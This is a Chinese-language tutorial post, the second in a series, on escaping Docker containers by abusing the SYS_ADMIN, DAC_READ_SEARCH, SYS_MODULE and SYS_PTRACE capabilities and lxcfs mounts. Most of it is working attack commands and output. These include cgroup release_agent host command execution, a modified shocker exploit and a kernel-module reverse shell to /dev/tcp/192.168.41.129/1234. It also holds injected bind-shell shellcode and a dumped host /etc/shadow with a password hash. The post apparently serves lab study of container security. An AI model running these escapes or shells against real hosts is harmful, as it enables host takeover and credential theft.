前篇:docker学习之可可带你学逃逸(一)
5.SYS_ADMIN权限滥用
在第一篇文章关于sys_admin权限滥用导致docker逃逸的相关利用方式中,由于笔者总结原因只介绍了一种方法,本篇中又增加了第二种方式,重写devices.allow逃逸。
notify_on_release逃逸方式
docker run -it --cap-add SYS_ADMIN --security-opt apparmor=unconfined --name=docker_escape1 ubuntu:latest /bin/bash
在赋予sys_admin
权限的同时,需要关掉安全组apparmor设置,才可以进行相应条件利用,赋予的sys_admin
权限可以执行mount
等操作
在前面的内容中提到过cgroup是linux内核中负责管理资源分配的机制,可以通过mount -t cgroup看到系统cgroup的挂载情况
具体观察在cgroup中具体的文件,其中包含许多的子系统
root@vigorous-virtual-machine:/sys/fs/cgroup# ls -ls
总用量 0
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 blkio
0 lrwxrwxrwx 1 root root 11 5月 11 11:44 cpu -> cpu,cpuacct
0 lrwxrwxrwx 1 root root 11 5月 11 11:44 cpuacct -> cpu,cpuacct
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 cpu,cpuacct
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 cpuset
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 devices
0 dr-xr-xr-x 6 root root 0 5月 11 11:44 freezer
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 hugetlb
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 memory
0 lrwxrwxrwx 1 root root 16 5月 11 11:44 net_cls -> net_cls,net_prio
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 net_cls,net_prio
0 lrwxrwxrwx 1 root root 16 5月 11 11:44 net_prio -> net_cls,net_prio
0 dr-xr-xr-x 3 root root 0 5月 11 11:44 perf_event
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 pids
0 dr-xr-xr-x 3 root root 0 5月 18 12:09 rdma
0 dr-xr-xr-x 6 root root 0 5月 11 11:44 systemd
0 dr-xr-xr-x 5 root root 0 5月 11 11:44 unified
以devices为例,其中cgroup.procs
、notify_on_release
、tasks
文件与我们讨论的逃逸问题息息相关
root@vigorous-virtual-machine:/sys/fs/cgroup/devices# ls -ls
总用量 0
0 -rw-r--r-- 1 root root 0 5月 18 17:54 cgroup.clone_children
0 -rw-r--r-- 1 root root 0 5月 11 14:22 cgroup.procs
0 -r--r--r-- 1 root root 0 5月 18 17:54 cgroup.sane_behavior
0 --w------- 1 root root 0 5月 18 17:54 devices.allow
0 --w------- 1 root root 0 5月 18 17:54 devices.deny
0 -r--r--r-- 1 root root 0 5月 18 17:54 devices.list
0 drwxr-xr-x 4 root root 0 5月 17 09:48 docker
0 -rw-r--r-- 1 root root 0 5月 18 17:54 notify_on_release
0 -rw-r--r-- 1 root root 0 5月 18 17:54 release_agent
0 drwxr-xr-x 84 root root 0 5月 11 14:26 system.slice
0 -rw-r--r-- 1 root root 0 5月 18 17:54 tasks
0 drwxr-xr-x 2 root root 0 5月 11 14:22 user.slice
cgroup.procs
文件主要记录线程组id。当某个线程组id被记录到此文件后,就表示与此线程相关的所有线程都被加入到改cgroup中
tasks
文件主要记录线程id。如果该线程的线程组与其不在同一个cgroup中,那会在cgroup.procs
有所记录
notify_on_release
文件表示是否在cgroup中最后一个任务退出时运行release agent,默认情况下是0,表示不运行;如果notify_on_release
的值被设置为1,cgroup下所有task结束的时候,那么内核就会运行root cgroup下release_agent
文件中的对应路径的文件
所以在逃逸是第一步我们需要将cgroup进行挂载
root@4706584ff818:/# mkdir /tmp/vigorous
root@4706584ff818:/# mount -t cgroup -o memory cgroup /tmp/vigorous (-t指定挂载的类型 -o指定挂载的选项)
接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全
root@4706584ff818:/tmp/vigorous# mkdir /tmp/vigorous/x
第二步就需要我们设置notify_on_release
文件内容为1,设置release_agent
文件的对应路径为宿主机的可写目录upperdir
root@8f17c7063d3a:/tmp/vigorous# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@8f17c7063d3a:/tmp/vigorous# echo "$host_path/cmd" > /tmp/vigorous/release_agent
编写shell文件
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
清除cgroup.procs中进程,触发cmd文件执行
root@8f17c7063d3a:/# sh -c "echo \$\$ > /tmp/vigorous/x/cgroup.procs"
root@8f17c7063d3a:/# ls
bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var
root@8f17c7063d3a:/# cat /output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 225652 5948 ? Ss May16 0:23 /lib/systemd/systemd --system --deserialize 19
root 2 0.0 0.0 0 0 ? S May16 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< May16 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? I< May16 0:00 [mm_percpu_wq]
root 7 0.0 0.0 0 0 ? S May16 0:13 [ksoftirqd/0]
root 8 0.0 0.0 0 0 ? I May16 0:15 [rcu_sched]
root 9 0.0 0.0 0 0 ? I May16 0:00 [rcu_bh]
root 10 0.0 0.0 0 0 ? S May16 0:00 [migration/0]
root 11 0.0 0.0 0 0 ? S May16 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S May16 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S May16 0:00 [kdevtmpfs]
该命令启动一个sh进程,将sh进程的PID写入到/tmp/vigorous/x/cgroup.procs里,这里的\$\$
表示sh进程的PID。
在执行完sh -c
之后,sh进程自动退出,这样cgroup /tmp/vigorous/x
里不再包含任何任务,/tmp/vigorous/release_agent
文件里的shell将被操作系统内核执行
重写devices.allow逃逸
devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,其中包括devices.allow、devices.deny、devices.list
本次逃逸方式需要用到需要用到devices.allow
文件,记录该cgroup中能够访问的设备列表
type表示类型,可以为 a(all), c(char), b(block) major:minor代表设备编号,两个标号都可以用代替表示所有,比如:*代表所有的设备 accss表示访问方式,可以为r(read),w(write), m(mknod)的组合
首先将容器中的devices进行挂载
root@9c3132a918f4:/# mkdir /tmp/vigorous
root@9c3132a918f4:/# mount -t cgroup -o devices devices /tmp/vigorous/
修改devices.allow为all类型,那么将允许对所有的设备执行rwm操作,我们已经将容器中的devices挂载出来,容器的devices.allow文件则在/tmp/vigorous/docker/容器id/devices.allow
,可以用如下方式确定当前容器的id
root@9c3132a918f4:/tmp/vigorous/docker# cat /proc/self/cgroup | grep devices
8:devices:/docker/9c3132a918f4ea91617c0708114d3e9fc7a9be813d41596457284fe6ccf43b92
root@9c3132a918f4:/tmp/vigorous/docker# echo a > /tmp/vigorous/docker/9c3132a918f4ea91617c0708114d3e9fc7a9be813d41596457284fe6ccf43b92/devices.allow
拥有相应权限后,接下来需要使用mknod命令创建一个设备文件,同时需要获取到当前容器的设备号,/etc/hosts,/etc/resolv.conf, etc/hostname 这三个容器内文件是由默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号ID
root@9c3132a918f4:/tmp/vigorous/docker# cat /proc/self/mountinfo | grep /etc
2243 2224 8:1 /var/lib/docker/containers/9c3132a918f4ea91617c0708114d3e9fc7a9be813d41596457284fe6ccf43b92/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro,data=ordered
2244 2224 8:1 /var/lib/docker/containers/9c3132a918f4ea91617c0708114d3e9fc7a9be813d41596457284fe6ccf43b92/hostname /etc/hostname rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro,data=ordered
2245 2224 8:1 /var/lib/docker/containers/9c3132a918f4ea91617c0708114d3e9fc7a9be813d41596457284fe6ccf43b92/hosts /etc/hosts rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro,data=ordered
创建设备文件,并挂载读取目录,或者也可以通过debugfs直接看目录(仅限于ext2/ext3/ext4文件系统)
root@9c3132a918f4:/tmp/vigorous/docker# cd /tmp
root@9c3132a918f4:/tmp# mknod host b 8 1
root@9c3132a918f4:/tmp# mkdir /tmp/host_dir && mount host /tmp/host_dir
root@9c3132a918f4:/tmp# ls
host host_dir vigorous
root@9c3132a918f4:/tmp# cd host_dir/
root@9c3132a918f4:/tmp/host_dir# ls
bin boot cdrom dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var vmlinuz vmlinuz.old
root@9c3132a918f4:/tmp# debugfs -w host
debugfs 1.45.5 (07-Jan-2020)
debugfs: ls -l
2 40755 (2) 0 0 4096 12-May-2022 02:19 .
2 40755 (2) 0 0 4096 12-May-2022 02:19 ..
11 40700 (2) 0 0 16384 11-May-2022 11:06 lost+found
12 100600 (1) 0 0 993244160 11-May-2022 11:06 swapfile
786433 40755 (2) 0 0 12288 13-May-2022 01:44 etc
131073 40755 (2) 0 0 4096 11-May-2022 03:40 media
262145 40755 (2) 0 0 4096 12-May-2022 04:09 bin
393217 40755 (2) 0 0 4096 16-May-2022 01:39 boot
655361 40755 (2) 0 0 4096 26-Apr-2018 18:18 dev
917505 40755 (2) 0 0 4096 11-May-2022 03:12 home
1048577 40755 (2) 0 0 4096 12-May-2022 04:09 lib
1179649 40755 (2) 0 0 4096 12-May-2022 04:09 lib64
786435 40755 (2) 0 0 4096 11-May-2022 03:43 mnt
1048578 40755 (2) 0 0 4096 26-Apr-2018 18:18 opt
262146 40755 (2) 0 0 4096 24-Apr-2018 08:34 proc
131074 40700 (2) 0 0 4096 17-May-2022 02:46 root
393218 40755 (2) 0 0 4096 26-Apr-2018 18:28 run
1179650 40755 (2) 0 0 12288 12-May-2022 04:09 sbin
655362 40755 (2) 0 0 4096 12-May-2022 07:56 snap
917506 40755 (2) 0 0 4096 26-Apr-2018 18:18 srv
131075 40755 (2) 0 0 4096 24-Apr-2018 08:34 sys
262147 41777 (2) 0 0 4096 23-May-2022 06:49 tmp
917507 40755 (2) 0 0 4096 26-Apr-2018 18:18 usr
655363 40755 (2) 0 0 4096 26-Apr-2018 18:30 var
15 120777 (7) 0 0 34 12-May-2022 02:19 initrd.img
14 120777 (7) 0 0 33 11-May-2022 11:06 initrd.img.old
17 120777 (7) 0 0 31 12-May-2022 02:19 vmlinuz
16 120777 (7) 0 0 30 12-May-2022 02:19 vmlinuz.old
799552 40775 (2) 0 0 4096 11-May-2022 11:07 cdrom
6.CAP_DAC_READ_SEARCH权限滥用
以root身份运行容器不是很安全,root拥有全部的权限,因此很危险,如果以非root身份运行容器那么将处处受,所以需要一种技术,能选择容器运行所需的root用户权限。
在底层,Linux root由许多能力组成,包括以下几点:
CAP_CHOWN - 允许用户修改文件所有权 CAP_NET_BIND_SERVICE - 允许用户将socket绑定到系统端口号 CAP_SETUID - 允许用户提升进程优先级 CAP_SYS_BOOT - 允许用户重启系统
Docker采用Capability机制来实现用户在以root身份运行容器的同时,还能移除非必须的root能力
docker run -it --cap-add DAC_READ_SEARCH --name=docker_escape ubuntu:latest /bin/bash
在Docker版本< 1.0中,docker内的进程拥有CAP_DAC_READ_SEARCH
capability的权限,cap_dac_read_search
可以绕过文件的读权限检查以及目录的读/执行权限的检查,但在高版本的docker中,CAP_DAC_READ_SEARCH
已经不会默认开启了,所以在启动docker时需要先赋予对应的权限
在该权限下就可以使用open_by_handle_at
函数进行宿主文件的读取,如下为open_by_handle_at
的函数原型
int open_by_handle_at(int mount_fd, struct file_handle *handle,int flags);
如果我们想要在虚拟机中通过open_by_handle_at
读取宿主机的文件的话,那么需要两个关键的参数。
1.宿主机文件系统中文件的文件描述符mount_fd
在docker中,/etc/resolv.conf,/etc/hostname,/etc/hosts
等文件是直接从宿主机挂载至容器的,所以直接读取这些文件即可获得mount_fd
2.宿主机文件的file_handle
该参数是由name_to_handle_at
函数执行获得的,其中包括handle_bytes、handle_type、handle_type
参考exp:https://github.com/gabrtv/shocker/blob/master/shocker.c
其中我们需要做一些修改,由于/.dockerinit
文件在高版本的docker中已经不会挂载,所以做如下的修改
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
// 更改如下
if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
die("[-] open");
编译后,通过docker cp传入到docker容器中
root@vigorous-virtual-machine:/home/vigorous# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
dbfe0ac9ea3d ubuntu:latest "/bin/bash" 18 hours ago Up 18 hours docker_escape1
root@vigorous-virtual-machine:/home/vigorous# docker cp /tmp/shocker dbfe0ac9ea3d:/tmp
赋予一定权限,执行后可拿到宿主机的/etc/passwd
root@dbfe0ac9ea3d:/tmp# chmod 777 shocker
root@dbfe0ac9ea3d:/tmp# ./shocker
[***] docker VMM-container breakout Po(C) 2014 [***]
[***] The tea from the 90's kicks your sekurity again. [***]
[***] If you have pending sec consulting, I'll happily [***]
[***] forward to my friends who drink secury-tea too! [***]
[*] Resolving 'etc/shadow'
[*] Found lib64
[*] Found home
[*] Found lost+found
....
[!] Win! /etc/shadow output follows:
root:!:19123:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup:*:17647:0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network:*:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:99999:7:::
uuidd:*:17647:0:99999:7:::
avahi-autoipd:*:17647:0:99999:7:::
usbmux:*:17647:0:99999:7:::
dnsmasq:*:17647:0:99999:7:::
rtkit:*:17647:0:99999:7:::
speech-dispatcher:!:17647:0:99999:7:::
whoopsie:*:17647:0:99999:7:::
kernoops:*:17647:0:99999:7:::
saned:*:17647:0:99999:7:::
pulse:*:17647:0:99999:7:::
avahi:*:17647:0:99999:7:::
colord:*:17647:0:99999:7:::
hplip:*:17647:0:99999:7:::
geoclue:*:17647:0:99999:7:::
gnome-initial-setup:*:17647:0:99999:7:::
gdm:*:17647:0:99999:7:::
vigorous:$6$DNpZqUqR$XYS66NUa65qig64.Gycc9BsAxEbklezskRR49NuHCTlPXGo1ER6lBD8FZyory6xd7RIv5x8.x5EL4hS8FiKMq1:19123:0:99999:7:::
sshd:*:19123:0:99999:7:::
cups-pk-helper:*:19124:0:99999:7:::
7.SYS_MODULE 权限滥用
docker run -it --cap-add SYS_MODULE --name=docker_escape ubuntu:latest /bin/bash
容器赋予SYS_MODULE权限后,与宿主机公用linux内核层,那么就可以在内核层插入用户定义的恶意代码,如下使用了反弹shell的恶意代码
reverse-shell.o
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.41.129/1234 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
编写Makefile文件
CONFIG_MODULE_SIG=n
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
编译成功后,传递至docker容器中
root@vigorous-virtual-machine:/home/vigorous/桌面# docker cp /home/vigorous/桌面/poc bb1face1b606:/tmp
root@bb1face1b606:/tmp/poc# ls
Makefile modules.order reverse-shell.ko reverse-shell.mod.o
Module.symvers reverse-shell.c reverse-shell.mod.c reverse-shell.o
编译好的文件中,reverse-shell.ko
文件就是我们需要执行的内核文件,在docker中可能缺少insmod等相关命令,需要从宿主机中添加
root@vigorous-virtual-machine:/home/vigorous/桌面# docker cp /sbin/lsmod docker_escape:/sbin/
root@vigorous-virtual-machine:/home/vigorous/桌面# docker cp /sbin/rmmod docker_escape:/sbin/
root@vigorous-virtual-machine:/home/vigorous/桌面# docker cp /sbin/insmod docker_escape:/sbin/
root@vigorous-virtual-machine:/home/vigorous/桌面# docker cp /bin/kmod docker_escape:/bin/kmod
root@19d315d9299b:/tmp/poc# insmod reverse-shell.ko
root@19d315d9299b:/tmp/poc# lsmod
Module Size Used by
reverse_shell 16384 0
veth 16384 0
isofs 45056 1
ipt_MASQUERADE 16384 2
查看反弹端口,反弹成功
root@vigorous-virtual-machine:/# ls -ls
ls -ls
total 970072
4 drwxr-xr-x 2 root root 4096 May 12 12:09 bin
4 drwxr-xr-x 3 root root 4096 May 16 09:39 boot
4 drwxrwxr-x 2 root root 4096 May 11 19:07 cdrom
0 drwxr-xr-x 18 root root 4120 May 24 15:59 dev
12 drwxr-xr-x 124 root root 12288 May 13 09:44 etc
4 drwxr-xr-x 3 root root 4096 May 11 11:12 home
0 lrwxrwxrwx 1 root root 34 May 12 10:19 initrd.img -> boot/initrd.img-4.15.0-176-generic
0 lrwxrwxrwx 1 root root 33 May 11 19:06 initrd.img.old -> boot/initrd.img-4.15.0-20-generic
4 drwxr-xr-x 21 root root 4096 May 12 12:09 lib
4 drwxr-xr-x 2 root root 4096 May 12 12:09 lib64
16 drwx------ 2 root root 16384 May 11 19:06 lost+found
4 drwxr-xr-x 3 root root 4096 May 11 11:40 media
4 drwxr-xr-x 3 root root 4096 May 11 11:43 mnt
4 drwxr-xr-x 2 root root 4096 Apr 27 2018 opt
0 dr-xr-xr-x 305 root root 0 May 24 15:45 proc
4 drwx------ 6 root root 4096 May 17 10:46 root
0 drwxr-xr-x 33 root root 1020 May 24 17:16 run
...
8.SYS_PTRACE权限滥用
当容器需要调试测试时就需要添加PTRACE
权限,我们就可以利用这一权限进行进程代码注入
docker run -it --cap-add SYS_PTRACE --pid=host --security-opt apparmor=unconfined --name=docker_escape ubuntu:latest /bin/bash
在SYS_PTRACE
权限下,还需要查询宿主机进程信息的权限(--pid=host
),另外还需要对安全组进行设置(可能在高版本的docker中已经限制了PTRACE
权限)
在宿主机中开启python服务
root@vigorous-virtual-machine:/home/vigorous# /usr/bin/python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
在容器中查看相应python服务的pid
root@ce547ee8e6cc:/# ps aux |grep python
root 791 0.0 0.5 172840 10380 ? Ssl 07:46 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 1056 0.0 0.4 189016 9988 ? Ssl 07:46 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root 8055 0.0 0.8 58464 17044 ? S+ 10:49 0:00 /usr/bin/python3 -m http.server 8080
root 8638 0.0 0.0 3440 724 pts/0 S+ 11:00 0:00 grep --color=auto python
exp参考:https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
替换shellcode为(https://www.exploit-db.com/exploits/41128)
"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
编译后由宿主机放入docker容器中,执行
root@vigorous-virtual-machine:/home/vigorous/桌面/exp# docker cp /home/vigorous/桌面/exp/exp ce547ee8e6cc:/tmp
root@ce547ee8e6cc:/tmp# chmod 777 exp
root@ce547ee8e6cc:/tmp# ./exp 8055
+ Tracing process 8055
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7f42e18e2b84
+ Setting instruction pointer to 0x7f42e18e2b86
+ Run it!
注入成功
9.lxcfs滥用
首先简单介绍一下lxcfs
lxcfs 是一个开源的 FUSE(用户态文件系统)实现来支持 LXC 容器,它也可以支持 Docker 容器。让容器内的应用在读取内存和 CPU 信息的时候通过 lxcfs 的映射,转到自己的通过对 cgroup 中容器相关定义信息读取的虚拟数据上
首先在宿主机上安装lxcfs
,修改/var/lib/lxcfs
权限
root@vigorous-virtual-machine:/var/lib# apt install lxcfs
root@vigorous-virtual-machine:/var/lib# lxcfs /var/lib/lxcfs
mount namespace: 5
hierarchies:
0: fd: 6: perf_event
1: fd: 7: cpuset
2: fd: 8: hugetlb
3: fd: 9: memory
4: fd: 10: devices
5: fd: 11: freezer
6: fd: 12: cpu,cpuacct
7: fd: 13: blkio
8: fd: 14: net_cls,net_prio
9: fd: 15: rdma
10: fd: 16: pids
11: fd: 17: name=systemd
12: fd: 18: unified
将/var/lib/lxcfs
挂载到docker容器中
docker run -it -v /var/lib/lxcfs/:/test/lxcfs --name=docker_escape ubuntu:latest /bin/bash
在容器中查看lxcfs的挂载情况,并查看挂载后具体的文件情况
root@285777e9cd24:/test# mount |grep lxcfs
/test/lxcfs on /test/lxcfs type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
root@285777e9cd24:/test/lxcfs# ls -al
total 4
drwxr-xr-x 2 root root 0 May 24 12:09 .
drwxr-xr-x 3 root root 4096 May 24 12:08 ..
drwxr-xr-x 2 root root 0 May 24 12:09 cgroup
dr-xr-xr-x 2 root root 0 May 24 12:09 proc
root@285777e9cd24:/test/lxcfs# cd cgroup/
root@285777e9cd24:/test/lxcfs/cgroup# ls -al
total 0
drwxr-xr-x 2 root root 0 May 24 12:09 .
drwxr-xr-x 2 root root 0 May 24 12:09 ..
drwxr-xr-x 2 root root 0 May 24 12:09 blkio
drwxr-xr-x 2 root root 0 May 24 12:09 cpu,cpuacct
drwxr-xr-x 2 root root 0 May 24 12:09 cpuset
drwxr-xr-x 2 root root 0 May 24 12:09 devices
drwxr-xr-x 2 root root 0 May 24 12:09 freezer
drwxr-xr-x 2 root root 0 May 24 12:09 hugetlb
drwxr-xr-x 2 root root 0 May 24 12:09 memory
drwxr-xr-x 2 root root 0 May 24 12:09 'name=systemd'
drwxr-xr-x 2 root root 0 May 24 12:09 net_cls,net_prio
drwxr-xr-x 2 root root 0 May 24 12:09 perf_event
drwxr-xr-x 2 root root 0 May 24 12:09 pids
drwxr-xr-x 2 root root 0 May 24 12:09 rdma
drwxr-xr-x 2 root root 0 May 24 12:09 unified
可以发现在cgroup
中出现了宿主机中的子系统devices、memory
等,那么就可以利用sys_admin
权限滥用的逃逸方式进行逃逸,重写devices.allow
root@285777e9cd24:/test/lxcfs/cgroup# cd devices/
root@285777e9cd24:/test/lxcfs/cgroup/devices# ls
docker
root@285777e9cd24:/test/lxcfs/cgroup/devices# cd docker/
root@285777e9cd24:/test/lxcfs/cgroup/devices/docker# ls
285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd
root@285777e9cd24:/test/lxcfs/cgroup/devices/docker# cd 285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd/
root@285777e9cd24:/test/lxcfs/cgroup/devices/docker/285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd# ls
cgroup.clone_children cgroup.procs devices.allow devices.deny devices.list notify_on_release tasks
查看主设备号相关信息
oot@285777e9cd24:/test/lxcfs/cgroup/devices/docker/285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd# cat /proc/self/mountinfo |grep etc
1353 1333 8:1 /var/lib/docker/containers/285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro,data=ordered
1354 1333 8:1 /var/lib/docker/containers/285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd/hostname /etc/hostname rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro,data=ordered
1355 1333 8:1 /var/lib/docker/containers/285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd/hosts /etc/hosts rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro,data=ordered
创建设备
root@285777e9cd24:/test/lxcfs/cgroup/devices/docker/285777e9cd245c5f8685af90878c011bbdcbb3e92a93afa45330665fbb9086fd# cd /tmp
root@285777e9cd24:/tmp# mknod host b 8 1
由于这里是ext4
系统,那么就可以通过debugfs
命令进行调试,进行命令执行
root@285777e9cd24:/tmp# debugfs -w host
debugfs 1.45.5 (07-Jan-2020)
debugfs: ls -l
2 40755 (2) 0 0 4096 24-May-2022 11:56 .
2 40755 (2) 0 0 4096 24-May-2022 11:56 ..
11 40700 (2) 0 0 16384 11-May-2022 11:06 lost+found
12 100600 (1) 0 0 993244160 11-May-2022 11:06 swapfile
786433 40755 (2) 0 0 12288 13-May-2022 01:44 etc
131073 40755 (2) 0 0 4096 11-May-2022 03:40 media
262145 40755 (2) 0 0 4096 12-May-2022 04:09 bin
393217 40755 (2) 0 0 4096 16-May-2022 01:39 boot
655361 40755 (2) 0 0 4096 26-Apr-2018 18:18 dev
917505 40755 (2) 0 0 4096 11-May-2022 03:12 home
1048577 40755 (2) 0 0 4096 12-May-2022 04:09 lib
1179649 40755 (2) 0 0 4096 12-May-2022 04:09 lib64
786435 40755 (2) 0 0 4096 11-May-2022 03:43 mnt
1048578 40755 (2) 0 0 4096 26-Apr-2018 18:18 opt
262146 40755 (2) 0 0 4096 24-Apr-2018 08:34 proc
131074 40700 (2) 0 0 4096 24-May-2022 10:53 root
393218 40755 (2) 0 0 4096 26-Apr-2018 18:28 run
1179650 40755 (2) 0 0 12288 12-May-2022 04:09 sbin
655362 40755 (2) 0 0 4096 24-May-2022 07:59 snap
917506 40755 (2) 0 0 4096 26-Apr-2018 18:18 srv
131075 40755 (2) 0 0 4096 24-Apr-2018 08:34 sys
262147 41777 (2) 0 0 4096 24-May-2022 12:08 tmp
917507 40755 (2) 0 0 4096 26-Apr-2018 18:18 usr
655363 40755 (2) 0 0 4096 26-Apr-2018 18:30 var
15 120777 (7) 0 0 34 12-May-2022 02:19 initrd.img
14 120777 (7) 0 0 33 11-May-2022 11:06 initrd.img.old
17 120777 (7) 0 0 31 12-May-2022 02:19 vmlinuz
16 120777 (7) 0 0 30 12-May-2022 02:19 vmlinuz.old
799552 40775 (2) 0 0 4096 11-May-2022 11:07 cdrom
1182251 40755 (2) 0 0 4096 24-May-2022 12:00 data
reference
https://github.com/Metarget/metarget
https://www.anquanke.com/post/id/256304
https://zhuanlan.zhihu.com/p/474924255
https://yyz9.cn/2022/03/22/docker%E9%80%83%E9%80%B8%E6%80%9D%E8%B7%AF%E6%80%BB%E7%BB%93/